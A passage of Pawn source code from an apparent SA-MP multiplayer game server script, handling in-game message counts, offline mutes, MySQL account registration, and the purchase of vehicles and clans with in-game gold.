  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread message: %i/%i) {FF0000}(%i staff message)",cache_num_rows(), readed, rows, unreaded, rows, staffmsgs);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  }
  return 1;
  }
  //
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  //
  if(staffmsgs == 0)
  {
  if(cache_num_rows()>=2)
  {
  if(readed >= 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read message: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed >= 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i messages in your messages box. (Read messages: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  }
  if(cache_num_rows()<2)
  {
  if(readed >= 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed < 2 && unreaded >= 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read message: %i/%i, Unread messages: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  if(readed >= 2 && unreaded < 2)
  {
  if(rows == readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You read all of your messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows == unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (You didn't read any messages)",cache_num_rows());
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != readed)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  if(rows != unreaded)
  {
  format(str,sizeof(str),"You have %i message in your messages box. (Read messages: %i/%i, Unread message: %i/%i)",cache_num_rows(), readed, rows, unreaded, rows);
  SCM(playerid,COLOR_Good,str);
  return 1;
  }
  }
  }
  return 1;
  }
  //
  return 1;
}
function MuteOfflinePlayer(playerid, taraf[], days, reason[])
{
	new rows = cache_get_row_count(handle);
	if(!rows && playerid == INVALID_PLAYER_ID) return 1;
	if(!rows) return SCM(playerid,COLOR_GG,"That player isn't exists.");
	new Name[MAX_PLAYER_NAME];
	if(IsPlayerConnected(playerid)) format(Name, MAX_PLAYER_NAME, PINFO[playerid][pName]);
	else format(Name, MAX_PLAYER_NAME, "AdmBot");
	new query[256];
//	new bantime[200];
	mysql_format(handle, query, 256, "UPDATE `users` SET pMuteTime='%d',pMuteBy='%e',pMuteReason='%e' WHERE pName='%e'",days*60,Name,reason,taraf);
	mysql_tquery(handle, query, "SendQuery", "");


	new string[300];
	format(string, 300, "AdmCmd: Offline player %s was muted for %d minutes By Admin %s, Reason: %s",taraf,days,Name,reason);
	SendClientMessageToAll(COLOR_LIGHTRED, string);

	new sec[64];
	format(sec, sizeof(sec), "%d",days);
	AddLog(taraf, PINFO[playerid][pName], reason, sec, 13);

	return 1;
}
sqlconnect()
{
	handle = mysql_connect(sqlhost,sqluser,sqldb,sqlpass);
	if(!mysql_errno(handle)) print("-- Connected to MySQL Server successfully. --");
	else print("== Cannot connect to MySQL Server. ==");
	return 1;
}
forward CheckAccount(playerid);
public CheckAccount(playerid)
{

	new query[82];
	mysql_format(handle, query, sizeof(query), "SELECT * FROM `users` WHERE `pName`='%e'", PlayerInfo[playerid][pName]);
	mysql_function_query(handle, query, true, "migamloginkon", "d", playerid);
	return 1;
}
stock LoadAccount(playerid)
{
	new query[128];
	mysql_format(handle, query, sizeof(query), "SELECT * FROM `users` WHERE `pName`='%e'", PlayerInfo[playerid][pName]);
	mysql_function_query(handle, query, true, "OnPlayerLogin", "d", playerid);
}
stock ReturnVehicle(playerid, veh)
{
	mysql_query(handle, "ALTER TABLE `vehicles` ORDER BY `vID`", false);
	new query[512];
	mysql_format(handle, query, sizeof(query), "SELECT * FROM `vehicles` WHERE `vID`='%d'", veh);
	mysql_function_query(handle, query, true, "OnReturnVehicle", "dd", playerid, veh);
}
public OnReturnVehicle(playerid, i)
{
	vInfo[i][vID] = i;
	vInfo[i][cLocationx] = cache_get_row_float(0,1,handle);
	vInfo[i][cLocationy] = cache_get_row_float(0,2,handle);
	vInfo[i][cLocationz] = cache_get_row_float(0,3,handle);
	vInfo[i][cAngle] = cache_get_row_float(0,4,handle);
	vInfo[i][cColor1] = cache_get_row_int(0,5,handle);
	vInfo[i][cColor2] = cache_get_row_int(0,6,handle);
	vInfo[i][cModel] = cache_get_row_int(0,7,handle);
	vInfo[i][cPrice] = cache_get_row_int(0,8,handle);
	cache_get_row(0,9,vInfo[i][cPlate],handle,128);
	vInfo[i][cLock] = cache_get_row_int(0,10,handle);
	vInfo[i][cDestroyed] = cache_get_row_int(0,11,handle);
	vInfo[i][cFuel] = cache_get_row_int(0,12,handle);
	vInfo[i][cHealth] = cache_get_row_float(0,13,handle);
	vInfo[i][cMod1] = cache_get_row_int(0,14,handle);
	vInfo[i][cMod3] = cache_get_row_int(0,15,handle);
	vInfo[i][cMod4] = cache_get_row_int(0,16,handle);
	vInfo[i][cMod5] = cache_get_row_int(0,17,handle);
	vInfo[i][cMod6] = cache_get_row_int(0,18,handle);
	vInfo[i][cMod7] = cache_get_row_int(0,19,handle);
	vInfo[i][cMod8] = cache_get_row_int(0,20,handle);
	vInfo[i][cMod9] = cache_get_row_int(0,21,handle);
	vInfo[i][cMod10] = cache_get_row_int(0,22,handle);
	vInfo[i][cMod11] = cache_get_row_int(0,23,handle);
	vInfo[i][cMod12] = cache_get_row_int(0,24,handle);
	vInfo[i][cMod13] = cache_get_row_int(0,25,handle);
	vInfo[i][cMod14] = cache_get_row_int(0,26,handle);
	vInfo[i][cMod15] = cache_get_row_int(0,27,handle);
	vInfo[i][cMod16] = cache_get_row_int(0,28,handle);
	vInfo[i][cMod17] = cache_get_row_int(0,29,handle);
	vInfo[i][cPaintJob] = cache_get_row_int(0,30,handle);
	vInfo[i][cKilo] = cache_get_row_float(0,31,handle);
	vInfo[i][cPanel] = cache_get_row_int(0,32,handle);
	vInfo[i][cDoors] = cache_get_row_int(0,33,handle);
	vInfo[i][cLights] = cache_get_row_int(0,34,handle);
	vInfo[i][cTires] = cache_get_row_int(0,35,handle);
	vInfo[i][cFixed] = cache_get_row_int(0,36,handle);
	vInfo[i][cInsurance] = cache_get_row_int(0,37,handle);
	vInfo[i][gLocationX] = cache_get_row_float(0, 38, handle);
	vInfo[i][gLocationY] = cache_get_row_float(0, 39, handle);
	vInfo[i][gLocationZ] = cache_get_row_float(0, 40, handle);
	vInfo[i][gAngle] = cache_get_row_int(0, 41, handle);
	vInfo[i][gParked] = cache_get_row_int(0, 42, handle);
	vInfo[i][cNeon] = cache_get_row_int(0, 43, handle);
}
stock LoadWeb(playerid)
{
	new amirr[256];
	format(amirr, sizeof(amirr), "SELECT * FROM `users` WHERE `pName`='%e'", PINFO[playerid][pName]);
	mysql_function_query(handle, amirr, true, "OnLoadWeb", "d", playerid);
}
stock CreateAccount(playerid,password[])
{
	mysql_function_query(handle, "SELECT * FROM `users`",true,"OnPlayerGetID","is",playerid,password);
}
function OnPlayerGetID(playerid,pass[])
{
	PINFO[playerid][pID] = cache_insert_id(handle);//Nemikhad save she
	new query[240];
	new stringz[129];
	WP_Hash(stringz, sizeof(stringz), pass);
	mysql_format(handle, query, sizeof(query), "INSERT INTO `users` (pName, pKey, pID) VALUES ('%e', '%e', \'%i\')",PlayerInfo[playerid][pName], stringz, PINFO[playerid][pID]);
	strmid(PlayerInfo[playerid][pKey],stringz,0,strlen(stringz),129);
	mysql_function_query(handle, query, false, "OnPlayerRegister", "i",playerid);
	new str[144];
	new strz[144];
	new hwid[45];
	gpci(playerid,hwid,sizeof(hwid));
	new hwquery[500];
	mysql_format(handle, hwquery, 500, "UPDATE `users` SET `pRHWID`='%e' WHERE `pName`='%e'", hwid, PlayerInfo[playerid][pName]);
	mysql_tquery(handle, hwquery, "SendQuery", "");
	format(str, sizeof(str), "{FFFFFF}Account register: %s(%d)", PlayerInfo[playerid][pName], playerid);
	format(strz,sizeof(strz),"[Admin-Warn]: {ffffff}Player's HWID: %s",hwid);
	AdminWarn(str);
	ABroadCast(COLOR_AdminWarn,strz,1);
	bayadclearbashe = 0;
	ReadAccountBar();
}
stock BedeMashin(playerid,car)
{
	mysql_function_query(handle, "SELECT * FROM `vehicles`",true,"BedeMashinFast","ii",playerid,car);
}
function BedeMashinFast(playerid,car)
{

				new query[512];
				mysql_format(handle, query, 512, "INSERT INTO `vehicles` (`cModel`) VALUES ('%d')",car);
				mysql_query(handle, query, false);

				new rows = cache_get_row_count ();
				new rand;
				rand = random(sizeof(CarSpawn));
				PlayerInfo[playerid][pVeh1] = rows;
				SaveKonVal(playerid, "pVeh1", rows);
				vInfo[rows][cLocationx] = CarSpawn[rand][0];
			 SaveKonFloatV(rows, "cLocationx", CarSpawn[rand][0]);
			 vInfo[rows][cLocationy] = CarSpawn[rand][1];
			 SaveKonFloatV(rows, "cLocationy", CarSpawn[rand][1]);
			 vInfo[rows][cLocationz] = CarSpawn[rand][2];
			 SaveKonFloatV(rows, "cLocationz", CarSpawn[rand][2]);
			 vInfo[rows][cAngle] = 89.143226;
			 SaveKonFloatV(rows, "cAngle", 89.143226);

			 vInfo[rows][cColor1] = 1;
			 SaveKonValV(rows, "cColor1", 1);
			 vInfo[rows][cColor2] = 1;
			 SaveKonValV(rows, "cColor2", 1);
			 vInfo[rows][cModel] = 462;
			 SaveKonValV(rows, "cModel", 462);
			 vInfo[rows][cPrice] = 1;
			 SaveKonValV(rows, "cPrice", 1);
			 new string[256];
			 format(string, sizeof(string), "ServerVeh");
			 strmid(vInfo[rows][cPlate], string, 0, strlen(string), 255);
			 SaveKonStrV(rows, "cPlate", vInfo[rows][cPlate]);
			 SetVehicleNumberPlate(car,"ServerVeh");
			 vInfo[rows][cLock] = 1;
			 SaveKonValV(rows, "cLock", 1);
			 vInfo[rows][cFixed] = 1;
			 SaveKonValV(rows, "cFixed", 1);
			 vInfo[rows][cFuel] = 100;
			 SaveKonValV(rows, "cFuel", 100);
			 vInfo[rows][cHealth] = 1000.0;
			 SaveKonFloatV(rows, "cHealth", 1000);


}

stock BesazClan(playerid)
{

	mysql_function_query(handle, "SELECT * FROM `clans`",true,"OnBCC","i",playerid);
}
function OnBCC(playerid)
{
	new string[512];
		if(CCID[playerid] == 1) {
		new query[512];
		mysql_format(handle, query, 512, "INSERT INTO `clans` (`cName`)VALUES ('%e')",NameClan[playerid]);

		mysql_tquery(handle, query, "SendQuery", "");

		mysql_tquery(handle, "ALTER TABLE `clans` ORDER BY `cSQLid`", "SendQuery", "");

		TedadClans += 1;
		new rows = cache_get_row_count ();
		new i = rows;

		format(string,sizeof(string), "%s", NameClan[playerid]);
		strmid(DynamicClans[i][cName], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cName", string);

		format(string,sizeof(string), "%s", TagClan[playerid]);
		strmid(DynamicClans[i][cTag], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cTag", string);


		format(string,sizeof(string), "%s", ColorClan[playerid]);
		strmid(DynamicClans[i][cColor], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cColor", string);

		DynamicClans[i][cSlot] = 0;
		DynamicClans[i][cSlots] = 15;
		SaveKonValC(i, "cSlot", 0);
		SaveKonValC(i, "cSlots", 15);

		if(CBB[playerid] == 1) {
		DynamicClans[i][cBB] = 1;
		SaveKonValC(i, "cBB", 1);
		}
		else if(CBB[playerid] == 2) {
		DynamicClans[i][cBB] = 2;
		SaveKonValC(i, "cBB", 2);
		}
		DynamicClans[i][cExpire] = 30;
		SaveKonValC(i, "cExpire", 30);

		PINFO[playerid][pGold] -= 500;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);


		new dd,mm,yyyy;
		getdate(dd,mm,yyyy);
		format(string,sizeof(string), "%s%d/%s%d/%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy);
		strmid(DynamicClans[i][cCreate], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cCreate", string);

		PINFO[playerid][pClan] = i+1;
		SaveKonVal(playerid, "pClan", i+1);
		PINFO[playerid][pcRank] = 6;
		SaveKonVal(playerid, "pcRank", 6);
		GivePlayerTag(playerid, DynamicClans[i][cTag]);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Your requested small clan with 5 slots for 30 days has been created by 500 golds.");
		new Member[64];
		format(Member, sizeof(Member), "%d",PINFO[playerid][pClan]);

		new reas[70];
		format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

		AddLog(PINFO[playerid][pName], Member, "Joined the clan [RLeader]", reas, 6);
		return 1;
		}
		if(CCID[playerid] == 2) {
		new query[512];
		mysql_format(handle, query, 512, "INSERT INTO `clans` (`cName`)VALUES ('%e')",NameClan[playerid]);

		mysql_tquery(handle, query, "SendQuery", "");

		mysql_tquery(handle, "ALTER TABLE `clans` ORDER BY `cSQLid`", "SendQuery", "");
		TedadClans += 1;
		new rows = cache_get_row_count ();
		new i = rows;

		format(string,sizeof(string), "%s", NameClan[playerid]);
		strmid(DynamicClans[i][cName], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cName", string);

		format(string,sizeof(string), "%s", TagClan[playerid]);
		strmid(DynamicClans[i][cTag], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cTag", string);


		format(string,sizeof(string), "%s", ColorClan[playerid]);
		strmid(DynamicClans[i][cColor], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cColor", string);

		DynamicClans[i][cSlot] = 0;
		DynamicClans[i][cSlots] = 25;
		SaveKonValC(i, "cSlot", 0);
		SaveKonValC(i, "cSlots", 25);

		if(CBB[playerid] == 1) {
		DynamicClans[i][cBB] = 1;
		SaveKonValC(i, "cBB", 1);
		}
		else if(CBB[playerid] == 2) {
		DynamicClans[i][cBB] = 2;
		SaveKonValC(i, "cBB", 2);
		}
		DynamicClans[i][cExpire] = 30;
		SaveKonValC(i, "cExpire", 30);

		PINFO[playerid][pGold] -= 1000;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);

		new dd,mm,yyyy;
		getdate(dd,mm,yyyy);
		format(string,sizeof(string), "%s%d/%s%d/%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy);
		strmid(DynamicClans[i][cCreate], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cCreate", string);

		PINFO[playerid][pClan] = i+1;
		SaveKonVal(playerid, "pClan", i+1);
		PINFO[playerid][pcRank] = 6;
		SaveKonVal(playerid, "pcRank", 6);
		GivePlayerTag(playerid, DynamicClans[i][cTag]);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Your requested medium clan with 10 slots for 30 days has been created by 1000 golds.");
		new Member[64];
		format(Member, sizeof(Member), "%d",PINFO[playerid][pClan]);

		new reas[70];
		format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

		AddLog(PINFO[playerid][pName], Member, "Joined the clan [RLeader]", reas, 6);
		return 1;
		}
		if(CCID[playerid] == 3) {
		new query[512];
		mysql_format(handle, query, 512, "INSERT INTO `clans` (`cName`)VALUES ('%e')",NameClan[playerid]);

		mysql_tquery(handle, query, "SendQuery", "");

		mysql_tquery(handle, "ALTER TABLE `clans` ORDER BY `cSQLid`", "SendQuery", "");
		TedadClans += 1;
		new rows = cache_get_row_count ();
		new i = rows;

		format(string,sizeof(string), "%s", NameClan[playerid]);
		strmid(DynamicClans[i][cName], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cName", string);

		format(string,sizeof(string), "%s", TagClan[playerid]);
		strmid(DynamicClans[i][cTag], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cTag", string);


		format(string,sizeof(string), "%s", ColorClan[playerid]);
		strmid(DynamicClans[i][cColor], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cColor", string);

		DynamicClans[i][cSlot] = 0;
		DynamicClans[i][cSlots] = 75;
		SaveKonValC(i, "cSlot", 0);
		SaveKonValC(i, "cSlots", 75);

		if(CBB[playerid] == 1) {
		DynamicClans[i][cBB] = 1;
		SaveKonValC(i, "cBB", 1);
		}
		else if(CBB[playerid] == 2) {
		DynamicClans[i][cBB] = 2;
		SaveKonValC(i, "cBB", 2);
		}
		DynamicClans[i][cExpire] = 30;
		SaveKonValC(i, "cExpire", 30);


		new dd,mm,yyyy;
		getdate(dd,mm,yyyy);
		format(string,sizeof(string), "%s%d/%s%d/%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy);
		strmid(DynamicClans[i][cCreate], string, 0, strlen(string), 512);
		SaveKonStrC(i, "cCreate", string);

		PINFO[playerid][pGold] -= 2000;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);

		PINFO[playerid][pClan] = i+1;
		SaveKonVal(playerid, "pClan", i+1);
		PINFO[playerid][pcRank] = 6;
		SaveKonVal(playerid, "pcRank", 6);
		GivePlayerTag(playerid, DynamicClans[i][cTag]);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Your requested big clan with 15 slots for 30 days has been created by 2000 golds.");
		new Member[64];
		format(Member, sizeof(Member), "%d",PINFO[playerid][pClan]);

		new reas[70];
		format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

		AddLog(PINFO[playerid][pName], Member, "Joined the clan [RLeader]", reas, 6);
		return 1;
		}


		return 1;
}

forward StopBull();
public StopBull()
{
	new Float:pos[12];
	GetObjectPos(Cow_Seats[0], pos[0], pos[1], pos[2]);
	GetObjectPos(Cow_Seats[1], pos[3], pos[4], pos[5]);
	GetObjectPos(Cow_Seats[2], pos[6], pos[7], pos[8]);
	GetObjectPos(Cow_Seats[3], pos[9], pos[10], pos[11]);
	if(retere == 0)
	{
		MoveObject(Cow_Seats[0], pos[0], pos[1], pos[2]-0.05, 0.5, 0.00, 0.00, 0.00);
		MoveObject(Cow_Seats[1], pos[3], pos[4], pos[5]-0.05, 0.5, 0.00, 0.00, 0.00);
		MoveObject(Cow_Seats[2], pos[6], pos[7], pos[8]-0.05, 0.5, 0.00, 0.00, 0.00);
		MoveObject(Cow_Seats[3], pos[9], pos[10], pos[11]-0.05, 0.5, 0.00, 0.00, 0.00);
		retere = -1;
	}
	else if(retere == 1)
	{
		MoveObject(Cow_Seats[0], pos[0], pos[1], pos[2]+0.05, 0.5, 0.00, 0.00, 0.00);
		MoveObject(Cow_Seats[1], pos[3], pos[4], pos[5]+0.05, 0.5, 0.00, 0.00, 0.00);
		MoveObject(Cow_Seats[2], pos[6], pos[7], pos[8]+0.05, 0.5, 0.00, 0.00, 0.00);
		MoveObject(Cow_Seats[3], pos[9], pos[10], pos[11]+0.05, 0.5, 0.00, 0.00, 0.00);
		retere = -1;
	}
	return 1;
}
//Crazy Cow
//Observer
forward DownObserver_Base();
public DownObserver_Base()
{
	new Float:pos[3];
	GetObjectPos(Observer_Base, pos[0], pos[1], pos[2]);
	MoveObject(Observer_Base, pos[0], pos[1], pos[2]-95.61682, 15.5, 0, 0, 360);
	return 1;
}
forward betshoptime();
public betshoptime()
{
	if(betshopl!=0){KillTimer(betshopl);betshopl=0;}
	new sttrr[144];
	format(sttrr,144,"{FFFFFF}The betshop has locked automatically after 10 minutes.");
	AdminWarn(sttrr);
	BetShopLock = 1;
	MoveDynamicObject(betshopgate,2318.98193, -1983.48926, 14.41991, 3);
	SendClientMessageToAll(COLOR_SINARANG, "****   The betshop is now closed!");
	for( new i; i < MAX_PLAYERS; i++ )
	{
	   cooldownbet[i] = 0;
	   if(dialogbet[i] == 1)
	   {
	   ShowPlayerDialog(i, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
	   dialogbet[i] = 0;
	   }
	   if(freezeonbet[i] == 1)
	   {
	   TogglePlayerControllable(i, 1);
	   }
	   if(freezeonbetv[i] == 1)
	   {
	   TogglePlayerControllable(i, 1);
	   }
	}
	return 1;
}
stock GetIDVeh(playerid,mod,car,vehmodkharid)
{
	mysql_function_query(handle, "SELECT * FROM `vehicles`",true,"OnPlayerGetIDVeh","iiii",playerid,mod,car,vehmodkharid);
}

function OnPlayerGetIDVeh(playerid,mod,car,vehmodkharid)
{



				new query[512];
				mysql_format(handle, query, 512, "INSERT INTO `vehicles` (`cModel`)VALUES ('%d')",car);
				mysql_tquery(handle, query, "SendQuery", "");

				mysql_tquery(handle, "ALTER TABLE `vehicles` ORDER BY `vID`", "SendQuery", "");

				new rows = cache_get_row_count ();
				new insert = rows;

				/*new file[128];
				format(file, sizeof(file), "vehicles/%d.ini",insert);
				new
				INI:ini = INI_Open(file);
				INI_WriteInt(ini, "cModel", car);
				INI_Close(ini);*/

				SCM(playerid,COLOR_Orang,"I give you a Checkpoint to you know where is it.");

				DestroyVehicle(vhid[playerid]);
				TextDrawHideForPlayer(playerid, TestModel);
				TextDrawHideForPlayer(playerid, BuyModel);
				TextDrawHideForPlayer(playerid, NextModel);
				TextDrawHideForPlayer(playerid, PrevModel);
				TextDrawHideForPlayer(playerid, ExitDS);
				TextDrawHideForPlayer(playerid, RotModel);
				TextDrawHideForPlayer(playerid, RotModel2);
				PlayerTextDrawHide(playerid, CarModel[playerid]);
				PlayerTextDrawHide(playerid, PriceModel[playerid]);
				OnMashinKharidan[playerid] = 0;
				SetPlayerPos(playerid, 325.5731,-1514.8918,36.0325);
				CancelSelectTextDraw(playerid);
				SetCameraBehindPlayer(playerid);

				SetPlayerVirtualWorld(playerid, 0);


				 if(vehmodkharid == 0)
			 {
				vInfo[insert][cLocationx] = 294.4691;
				SaveKonFloatV(insert, "cLocationx", 294.4691);
				vInfo[insert][cLocationy] = -1540.4004;
				SaveKonFloatV(insert, "cLocationy", -1540.4004);
				vInfo[insert][cLocationz] = 24.2438;
				SaveKonFloatV(insert, "cLocationz", 24.2438);
				vInfo[insert][cAngle] = 54.5325;
				SaveKonFloatV(insert, "cAngle", 54.5325);
			 }
			 else if(vehmodkharid == 1)
			 {
				vInfo[insert][cLocationx] = 727.059692;
				SaveKonFloatV(insert, "cLocationx", 727.059692);
				vInfo[insert][cLocationy] = -1529.186889;
				SaveKonFloatV(insert, "cLocationy", -1529.186889);
				vInfo[insert][cLocationz] = 0.101168;
				SaveKonFloatV(insert, "cLocationz", 0.101168);
				vInfo[insert][cAngle] = 180;
				SaveKonFloatV(insert, "cAngle", 180);
			 }
			 else if(vehmodkharid == 2)
			 {
				vInfo[insert][cLocationx] = 1520.529541;
				SaveKonFloatV(insert, "cLocationx", 1520.529541);
				vInfo[insert][cLocationy] = -2464.192871;
				SaveKonFloatV(insert, "cLocationy", -2464.192871);
				vInfo[insert][cLocationz] = 13.760436;
				SaveKonFloatV(insert, "cLocationz", 13.760436);
				vInfo[insert][cAngle] = 180;
				SaveKonFloatV(insert, "cAngle", 180);
			 }
			 vInfo[insert][cColor1] = 1;
			 SaveKonValV(insert, "cColor1", 1);
			 vInfo[insert][cColor2] = 1;
			 SaveKonValV(insert, "cColor2", 1);
			 vInfo[insert][cModel] = car;
			 SaveKonValV(insert, "cModel", car);
			 vInfo[insert][cPrice] = PriceCar[playerid];
			 SaveKonValV(insert, "cPrice", PriceCar[playerid]);
			 new string[256];
			 format(string, sizeof(string), "NewVeh");
			 strmid(vInfo[insert][cPlate], string, 0, strlen(string), 255);
			 SaveKonStrV(insert, "cPlate", vInfo[insert][cPlate]);

			 vInfo[insert][cLock] = 1;
			 SaveKonValV(insert, "cLock", 1);
			 vInfo[insert][cDestroyed] = 0;
			 SaveKonValV(insert, "cDestroyed", 0);
			 vInfo[insert][cFixed] = 1;
			 SaveKonValV(insert, "cFixed", 1);
			 vInfo[insert][cInsurance] = DefaultInsurance;
			 SaveKonValV(insert, "cInsurance", DefaultInsurance);
			 vInfo[insert][cFuel] = 100;
			 SaveKonValV(insert, "cFuel", 100);
			 vInfo[insert][cHealth] = 1000.0;
			 SaveKonFloatV(insert, "cHealth", 1000);
			 vInfo[insert][gLocationX] = 0;
			 SaveKonFloatV(insert, "gLocationX", 0);
			 vInfo[insert][gLocationY] = 0;
			 SaveKonFloatV(insert, "gLocationY", 0);
			 vInfo[insert][gLocationZ] = 0;
			 SaveKonFloatV(insert, "gLocationZ", 0);
